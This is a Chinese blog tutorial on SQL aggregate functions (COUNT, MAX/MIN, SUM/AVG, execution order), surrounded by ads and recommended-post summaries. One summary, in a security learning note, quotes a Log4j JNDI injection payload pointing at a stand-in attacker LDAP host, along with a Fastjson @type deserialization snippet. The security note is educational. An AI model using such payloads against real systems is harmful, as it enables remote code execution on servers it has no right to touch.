小木的学习日记-SQL函数-聚合函数

从零开始学习 Go 1.25 编程 今天是你新生活的第一天,无论年龄、背景如何,改变从这一刻开始。CodeGym帮助成千上万普通人转型为程序员,从零基础到掌握Go语言,完成真实项目,甚至入职心仪岗位。Go语言简洁高效,适合服务器端开发,是云基础设施、微服务和高负载系统的首选。2026年正是入行良机,你的经验反而是优势。别犹豫,迈出第一步,你将收获技能、自信与全新人生。🚀 阅读详情

SQL 聚合函数完全指南:从基础到实战​

一、引言:为什么聚合函数是 SQL 的核心武器?​

在数据处理领域,SQL 如同一位全能战士,而聚合函数则是其手中的精锐武器。无论是统计报表、商业分析还是数据清洗,COUNT、MAX、SUM等聚合函数都是高频使用的核心工具。本文将通过系统化的讲解,结合执行顺序解析与实战案例,帮助你彻底掌握 SQL 聚合函数的使用精髓。​

二、目录​

  1. COUNT 函数:数据统计的多面手​
  1. MAX/MIN:极值查询的快速通道​
  1. SUM/AVG:从总量到均值的分析利器​
  1. 业务场景实战:ROI 计算与数据洞察​
  1. 执行顺序深度解析:为什么顺序决定结果?​
  1. 避坑指南:聚合函数的常见误区​

三、核心函数详解:从语法到本质​

3.1 COUNT 函数:数据统计的多面手​

3.1.1 函数本质​

统计符合条件的行数量,根据参数不同分为三种模式:​

  • COUNT(*):统计所有行(包括重复行和 NULL 值)​
  • COUNT(column):统计指定列非 NULL 的行(允许重复值)​
  • COUNT(DISTINCT column):统计指定列去重且非 NULL 的行​

3.1.2 实战案例​

​

TypeScript

取消自动换行复制

-- 统计女性用户数量​

SELECT COUNT(*) AS female_count​

FROM account_2c​

WHERE gender = '女';​

​

执行顺序解析:​

  1. FROM 确定数据源表account_2c​
  1. WHERE 过滤出gender='女'的行​
  1. SELECT 对过滤后的结果集执行COUNT(*)统计总行数​

3.1.3 关键区别对比​

​

语法​

统计范围​

忽略 NULL​

去重处理​

COUNT(*)​

所有行​

否​

否​

COUNT(column)​

该列值非 NULL 的行​

是​

否​

COUNT(DISTINCT)​

该列值非 NULL 且唯一的行​

是​

是​

​

3.2 MAX/MIN:极值查询的快速通道​

3.2.1 核心作用​

  • MAX(column):返回指定列的最大值​
  • MIN(column):返回指定列的最小值​

3.2.2 时间范围查询案例​

​

TypeScript

取消自动换行复制

-- 查询双11前15天的最高订单金额​

SELECT MAX(total_price) AS max_price​

FROM orders​

WHERE order_time BETWEEN '2020-11-01 00:00:00' AND '2020-11-15 00:00:00';​

​
-- 查询最早的订单时间​

SELECT MIN(order_time) AS min_time​

FROM orders​

WHERE order_time BETWEEN '2020-11-01 00:00:00' AND '2020-11-15 00:00:00';​

​

执行要点:​

  • 极值函数忽略 NULL 值,但会处理所有非 NULL 数据(包括重复值)​
  • 时间类型字段可直接进行大小比较,返回精确时间戳​

3.3 SUM/AVG:从总量到均值的分析利器​

3.3.1 SUM:数据累加器​

​

TypeScript

取消自动换行复制

-- 计算双11前15天总销售额并计算ROI(假设成本50000)​

SELECT SUM(total_price) AS total_sales,​

SUM(total_price)/50000 AS ROI -- ROI=产出/投入​

FROM orders​

WHERE order_time BETWEEN '2020-11-01 00:00:00' AND '2020-11-15 00:00:00';​

​

业务含义:​

  • ROI>1:盈利(产出 > 投入)​
  • ROI=1:收支平衡​
  • ROI<1:亏损​

3.3.2 AVG:均值计算器​

​

TypeScript

取消自动换行复制

-- 计算平均订单价格​

SELECT AVG(total_price) AS avg_price​

FROM orders​

WHERE order_time BETWEEN '2020-11-01 00:00:00' AND '2020-11-15 00:00:00';​

​

注意:AVG 仅计算非 NULL 值,若整列全为 NULL 则返回 NULL​

四、执行顺序:决定结果的隐形规则​

4.1 核心执行流程(以 COUNT 案例为例)​

​

TypeScript

取消自动换行复制

SELECT COUNT(*) AS count_number -- 第5步:计算聚合函数并命名列​

FROM account_2c -- 第1步:确定数据源​

WHERE gender = '女' -- 第2步:过滤行数据​

​

完整执行顺序(必记!):​

  1. FROM → 2. WHERE → 3. GROUP BY → 4. HAVING → 5. SELECT → 6. DISTINCT → 7. ORDER BY → 8. LIMIT​

4.2 为什么顺序重要?​

  • WHERE 先于 SELECT:聚合函数只能处理 WHERE 过滤后的结果​
  • GROUP BY 改变作用域:带 GROUP BY 时,聚合函数按分组计算(见拓展案例)​

五、避坑指南:三大常见误区​

  1. COUNT(*) vs COUNT(1)​
  • 性能几乎无差异,COUNT (*) 是标准写法,可读性更强​
  1. NULL 值陷阱​
  • COUNT (column) 自动忽略 NULL,若需统计包含 NULL 的行,需用COUNT(IF(column IS NULL, 1, NULL))​
  1. GROUP BY 搭配错误​
  • SELECT 中出现的非聚合列必须包含在 GROUP BY 中(SQL 标准要求)​

六、总结:构建聚合函数知识体系​

​

函数​

作用​

核心参数​

执行阶段​

COUNT​

行数统计​

* / column / DISTINCT​

SELECT​

MAX/MIN​

极值查询​

column​

SELECT​

SUM/AVG​

求和 / 均值​

column​

SELECT​

​

掌握聚合函数的关键在于:​

  1. 明确数据过滤顺序(FROM→WHERE→SELECT)​
  1. 区分行级过滤(WHERE)与分组过滤(HAVING)​
  1. 理解聚合函数对 NULL 值的处理规则​

七、拓展思考:进阶应用场景​

  1. 分组统计:如何用 GROUP BY 计算各性别用户的平均消费?​
  1. 窗口函数:聚合函数与 OVER () 结合实现滚动统计​
  1. 性能优化:COUNT (*) 在索引表与非索引表的效率差异

花无凋零之日,意无传递之时,爱情亘古不变,紫罗兰与世长存。

从零开始学习使用 AI 欢迎踏入ClaudeCode未来世界,开启与AI协作的全新旅程。无论你是零基础新手、开发者,还是非程序员,都能通过实战项目快速掌握智能体协作技能——不再只是提问,而是指挥AI完成复杂任务。你将化身主角,在16个级别、200+实践中成长为高效创造者。真正的优势不再是会用工具,而是懂得如何让智能体为你工作。取代你的不是AI,而是会用AI的人。现在,故事从你开始👇 阅读详情

相关推荐

第28篇 sw放样特征矩形-圆-矩形学习笔记

本例演示三轮廓放样:先画中心对齐的100×100矩形草图,再在偏移100的基准面上绘制圆,最后在另一基准面画矩形。通过依次选择三个轮廓并正确设置连接点,实现矩形→圆→矩形的平滑过渡,注意连接点位置避免扭曲。

Txwtech 42

2026.11.7 AI学习总结

110 你 14b 模型权重本身就要约 8.8GB,默认上下文(Ollama 在 16GB 卡上可能给到 4K)加上 KV Cache 就爆了。比如设成 2048,你输入了 500 个 token 的问题,那模型最多还能生成 1500 个 token 的回答。超出部分会被截断,模型就"看不见"了。4 如果 14b 跑起来后发现它"忘事",再逐步往上加,比如先试 4096。,根据注意力头的重要性动态分配缓存资源,重要的留显存,不重要的下沉。,单位是 token,表示模型这一次推理最多能同时"看到"多少内容。

qq_41181702的博客 375

webpack性能优化-optimization.splitChunks.chunks中的“all“、“async“和“initial“

最初,chunks(以及内部导入的模块)是通过内部 webpack 图谱中的父子关系关联的。CommonsChunkPlugin 曾被用来避免他们之间的重复依赖,但是不可能再做进一步的优化。 ——摘自 webpack 从 webpack v4 开始,移除了 CommonsChunkPlugin,取而代之的是 optimization.splitChunks。 而关于 optimization.splitChunks 中的chunks,webpack 官方文档却没有很好的进行举例解释,只说明了 async.

程序员秋风的博客 3137

Flink 学习日志 03:自定义一个SourceFunction,完成对Redis中数据的读取

本文介绍了在Flink中自定义SourceFunction读取Redis数据的完整流程:通过Jedis客户端连接WSL2中的Redis服务,编写RedisSource实现循环读取所有Key-value并逐条输出,结合Thread.sleep()实现每秒一条的流式效果。关键步骤包括环境准备、添加Jedis依赖、配置IDEA运行时加载provided依赖,并注意生产环境中应避免使用阻塞的keys *,改用scan命令。最终实现动态读取、实时打印,验证了Flink与Redis的数据集成能力。

木木的学习笔记 422

最新扣子(coze)案例:在coze上用DeepSeek+私有数据库、知识库,创建你的专属智能体

Gartner预测,到2026年,70%的企业将通过Al知识库实现「组织记忆外化」。数字化时代,数据已成为企业发展的核心资产。我们通过人工智能将知识库从“静态存储"升级为“智能服务”。让"沉睡宝藏"焕发新生,助力企业突破数据困局。

weixin_72689845的博客 2164

STM32开发实战--解决STM32CubeMX生成代码时钟初始化卡死问题

本文详细分析了STM32CubeMX生成代码在时钟初始化阶段卡死的问题,提供了多种解决方案,包括简单修改和稳健的等待机制。通过深入探讨HAL库的时钟初始化陷阱及硬件层面的根本原因,帮助开发者快速定位并解决STM32开发中的常见问题。

weixin_26965807的博客 441

邓明 Agent 系统面试-意图识别学习笔记

不要只是做意图识别而不做测评,就好像要评估 RAG 准确性,在接口服务要测试响应时延,超时控制等等,这里也要关注意图识别准确率,如果面试官认为项目指标太高是在吹牛,关键就是回答因为 Agent 解决的是特定领域的意图识别,识别场景单一,另外就是因为用户输入相对简单。意图识别影响 prompt/spec 的加载,意图识别影响上下文组织,意图识别影响工具选择,意图识别影响 prompt 建议,意图识别得到的意图不是让模型随机生成而是候选类别里去做选择。2.意图识别的原因,以及意图识别得到的是什么?

m0_57222081的博客 216

海康威视iSC平台视频流对接:RTSP、HLS、WS三种协议到底该怎么选?

本文深入分析海康威视iSC平台视频流对接中RTSP、HLS和WebSocket三种协议的优缺点,帮助开发者根据实时性、兼容性和网络环境做出最优选择。特别适合综合安防管理平台的Web视频监控系统开发,提升用户体验和系统性能。

weixin_28365523的博客 692

Day36 XD安全学习笔记--JavaE应用&第三方组件&Log4i 日志&Fastson序列化&JNDI 注入

本节课剖析Log4j与Fastjson组件漏洞原理。Log4j通过JNDI注入实现远程代码执行,攻击者构造${jndi:ldap://attacker.com/Exploit}触发Lookup机制,诱导目标向恶意LDAP服务器请求并加载远程类,最终执行命令(如弹出计算器)。需配置trustURLCodebase=true绕过安全限制。Fastjson则利用@type反序列化特性,当用户输入可控的{"@type":"com.xiaodi.Run"}时,自动加载并实例化恶

一支蜉蝣的博客 205

用 Coze 打造纯自动化 AI 情报助手

本文将引导您逐步构建一个简易的AI情报助手,从提示词到工作流,再到卡片消息,详细讲解了如何利用Coze平台开发自动化工具。过程简单易懂,何不亲自动手一试?如果您对此类内容感兴趣,敬请关注本作者。未来,我将带来更多精彩的AI工具教程,助您迅速掌握各类AI应用。在这个AI时代,让您领先一步。t=O83A2AGI.NET AI 教程 震撼!用 Coze 打造纯自动化 AI 情报助手震撼!

xinzhaobuxuan的博客 2531

全球APN信息汇总

全球APN信息,电信APN,移动APN,联通APN,台湾APN,马来西亚APN,俄罗斯APN,日本APN,泰国APN,美国APN,英国APN,法国APN,德国APN,意大利APN,葡萄牙APN,土耳其APN,荷兰APN,丹麦APN,比利时APN,爱尔兰APN,新加坡APN,越南APN,老挝APN,菲律宾APN,印尼APN,泰国APN,柬埔寨APN,巴基斯坦APN,印度APN,奥地利APN,保加利亚APN,捷克APN,立陶宛APN,罗马尼亚APN,挪威APN,希腊APN,匈牙利APN,瑞士APN,乌克兰APN

renkai721的专栏 2796

Java 多态 学习笔记

多态是面向对象编程的重要特性,指同一操作作用于不同对象时产生不同行为。其核心在于“父类引用指向子类对象”,结合方法重写实现运行时动态绑定。多态使代码更灵活、可扩展,如用Person p = new Student();统一处理各类人员注册,无需修改调用逻辑。但多态无法直接调用子类特有方法,需通过instanceof判断并强制转换。编译时看左边(类型),运行时看右边(实际对象),实现解耦与维护便利。

AA_AA114514的博客 362

芯片ATE测试PAT(Part Average Testing)学习总结-20250916

文章摘要:零件平均测试(PAT)是半导体制造中基于统计学的质量控制方法,分为静态和动态两种类型。静态PAT通过预先设定的固定限值(每6-8批次更新)筛选异常芯片,计算采用稳健平均值和四分位间距。动态PAT则根据实时数据调整限值,能更精确识别异常而不误判合格芯片。两种方法均采用"均值±6倍标准差"的计算公式,但动态PAT具有更好的适应性和准确性。该方法通过统计分析提高了芯片产品的质量和可靠性。

歌颂苦难的行为是无耻的; 1190

天线模块布局走线学习

天线通常与射频收发芯片、匹配网络、滤波器以及射频连接器等共同组成完整的无线通信链路;在进行原理图设计时,器件封装应当尽量小,倾向于0402、0201等,可以减小由封装带来的寄生参数影响。

qq_59757948的博客 168

【stm32+K210项目】基于K210与STM32协同工作的智能垃圾分类系统设计与实现(完整工程资料源码)

本系统采用SG90舵机Maix Bit摄像头STM32C8T6主控板以及LX_TRIG_MP3_V6.0语音播报模块,构建了一套高效的智能垃圾分类系统,综合运用了图像识别、语音播报及精准控制技术。SG90舵机负责控制垃圾桶的开盖操作。该舵机通过接收PWM信号来实现转动,内部有一个基准电路产生周期为20ms的PWM信号,通过外部脉冲信号的控制(高电平时间在0.5ms至2.5ms之间),使得舵机的输出轴转动到指定位置。舵机内的位置反馈电位计。

嵌入式技术开发 5099

win10 跳过U8环境检测的IE WebControls.rar

win10 安装u8的时候 提示IE WebControls 不通过,这个工具可以欺骗u8的检查。 跳过U8环境检测的IE WebControls。提示导入失败后,重新检测通过。

CMake学习

CMake如何编译成库?1. 为什么要有库?库就是预先写好,编译好的代码集合。存在的意义,1)避免重复造轮子和重复编译,库是,你的代码在编译时直接链接它,不需要把库的源码重新编译一遍,大大节省了编译时间。;2):编译成库让别人可以直接调用我的函数,但看不到cpp源码,看不到里面的逻辑。3):大项目可以拆分给不同的团队开发不同的库,最后拼在一起。静态库:就是在程序编译和链接阶段,把库里被用到的代码部分,像打包裹一样,直接复制粘贴到最终的可执行文件(如.exe或 Linux 下的无后缀文件)里面。

m0_56487684的博客 198

Data-Structures-and-Algorithm-Analysis-in-Java.pdf

作者: Weiss, Mark A. 出版社: Addison Wesley Data Structures and Algorithm Analysis in Java is an “advanced algorithms” book that fits between traditional CS2 and Algorithms Analysis courses. In the old ACM Curriculum Guidelines, this course was known as CS7. This text is for readers who want to learn good programming and algorithm analysis skills simultaneously so that they can develop such programs with the maximum amo...

将物理先验嵌入机器人学习:从经典力学到 VLA 与 WAM

本文综述了将物理先验嵌入机器人学习的三条路径:数据与表示、模型架构、训练损失,强调其位置决定约束效力。通过夹取软物体案例,阐明运动学、动力学、接触与材料特性在任务中的分层作用。指出物理先验非万能,需匹配实际条件;强约束可加速学习,但误用会引入偏差。提出“有效刚度”等概念,强调主动探测与参数辨识的重要性,并警示仅靠单一方法无法保障安全执行,需结合在线验证与控制闭环。

lovely_yoshino的博客 906

VB摄像头监控

该VB模块可对摄像头捕获的画面进行录像等,可在创建的窗口进行控制

visio安装包

Microsoft Office Visio 是一款专业的制图软件。利用经过更新的形状、协作工具和数据链接图表,创建专业级图表以简化复杂的信息。

Linux网络学习【深入理解多路转接epoll】

本文围绕 Linux 多路转接 epoll 展开,以“设计动机—核心机制—触发模式—代码实践”为主线,对比 select、poll 的监听管理与就绪检查方式,解析关注集合、就绪列表及核心接口,重点讲解水平触发与边缘触发的行为差异,以及边缘触发配合非阻塞读写的处理要点。结合多连接服务器实践,梳理事件注册、连接接收、部分收发、可写事件按需监听及断开清理流程,厘清就绪通知与操作完成的区别,分析常见错误与性能影响因素,帮助读者建立从事件循环到连接管理的完整认识,为高并发服务器与事件驱动框架开发打下基础。

承于所学,探技术之渊;以代码求政,寻成长之道。 1万+

正则表达式学习笔记 02:基础语法

正则表达式是描述字符匹配规则的迷你语言,由普通字符和元字符组成。普通字符直接匹配自身,而元字符如.、*、+、^、$等具有特殊含义,用于控制匹配模式。常见功能包括任意字符匹配、字符类、预定义类(如\d)、量词、位置锚点、分组与捕获、环视断言及反向引用。需注意,若要匹配元字符本身,必须使用转义符\。例如,\.可匹配字面点号。

菜鸟的专栏 184

[LangChain] 学习笔记(08):工具调用底层闭环与第三方搜索(Tavily)实战

大模型通过工具调用实现外部能力扩展:模型返回tool_calls,开发者本地执行后将结果以ToolMessage形式追加至对话历史,再由模型生成最终回答。关键闭环在于状态追加,否则会陷入死循环。借助LangChain生态如TavilySearch,可轻松接入联网搜索,突破知识时效限制。注意避免invalid_tool_call_id错误,确保消息历史完整;网络超时需检查代理或环境配置。简单问题模型自主解答属正常行为。

一名在 Linux 与 C/C++ 世界里打怪升级的开发者。持续输出系统编程、网络编程、数据结构与算法的高质量学习笔记与实战总结 357

ES6:Iterator与Generator函数学习及Generator函数和async实现异步编程理解

几个概念:可迭代对象是指具有迭代器接口的对象: 实现类数组使用 for of 循环 对象无法使用数组的迭代器。 generator 函数类似遍历器函数,返回一个迭代器对象; 该对象调用 方法时,会把 后面的表达式作为值 ,并执行当前指针与下一步指针之间的程序。 generator 实现迭代器函数 后面跟的内容为 得到的 值。流程:循环 会调用 generator 函数,返回一个 iterator 对象, 方法由 generator 内部的 决定。 Gene

2403_87566238的博客 221

【学习笔记】51单片机 按键控制LED流水灯模式&定时器时钟

在下面去给他写中断子函数,他会在main中去到Timer0这个子函数当中去,再接着跳转回来。再TMOD上,这个是不可位寻址的,必须八位同时复制,如果同时使用定时器1和定时器0,先配置定时器1再去配置定时器0会把 之前前定时器1的更新掉,我们去给他让他只去执行一部分。现在我们要去做中断了,改正之后的是这样,但其实是还有缺陷在的。寄存器是连接软硬件的媒介,我们现在写一个关于这个的代码。这样得到的和我们预期的一样。TMOD的寄存模式,M1和M0是来决定工作模式的。我们要看的是关于以下的寄存器。

2601_96469072的博客 224

Git与GitHub系统学习|本地Git工作模型:终端与进程、CWD、HEAD/Index/工作树及Git对象

从GitHub网页端走向本地Git,讲清终端、Shell、进程与工作目录,解释仓库发现、HEAD、Index和工作树,分析Commit/Tree/Blob引用、文件树与暂存机制,区分实测与教学示例。

Brookty的博客 297

echarts学习手记

本文介绍ECharts的引入与基本使用:通过npm安装并按需引入核心模块、图表类型及组件,注册后初始化图表实例。结合resize事件实现响应式布局,通过dispose()销毁实例避免内存泄漏,并支持自定义主题与seriesLayoutBy配置调整数据映射方式,提升图表灵活性与性能。

qq_43592674的博客 41

Day33 XD安全学习笔记--JavaEE应用&SQL 预编译&Filter过滤器&Listener监听器&访问控制

本文介绍了SQL预编译与Filter过滤器、Listener监听器的应用。SQL预编译有效防止注入攻击,相比拼接写法更安全。Filter用于拦截请求与响应,实现权限控制、敏感词过滤等功能,具备初始化、过滤、销毁生命周期;如XssFilter拦截非法参数,AdminFilter通过Cookie验证权限。Listener监听域对象的创建、销毁及属性变化,如Session的创建与销毁,实现系统状态管理。三者协同提升Web应用的安全性与可维护性。

一支蜉蝣的博客 230

库函数的学习

那是因为我们静态库在编译的时候就可以查找,我们之前用的方法就是在编译时可以查找,静态库会直接拷贝到我们的代码当中,所以运行的时候可以不需要i库。-L之告诉编译器,这个库在我们当前目录下,不然会找不到,它默认去的是lib64找。我们使用静态库的方法,然后形成可执行的main文件,我们执行,发现无法执行。gcc main.c -o main -I 文件 -L 文件。-l后面跟我们哭的名字,注意我们库的前缀和后缀都要去掉。使用-I -L -i这样的选项可以随时链接库。我们库的本质是:.o文件的集合。

ywlsg的博客 234
上一篇: 小木的学习日记——SQL多条件筛选
下一篇: 小木的学习日记-SQL函数-时间函数与字符串函数
木旭林晖
博客等级 码龄2年 159粉丝 31原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值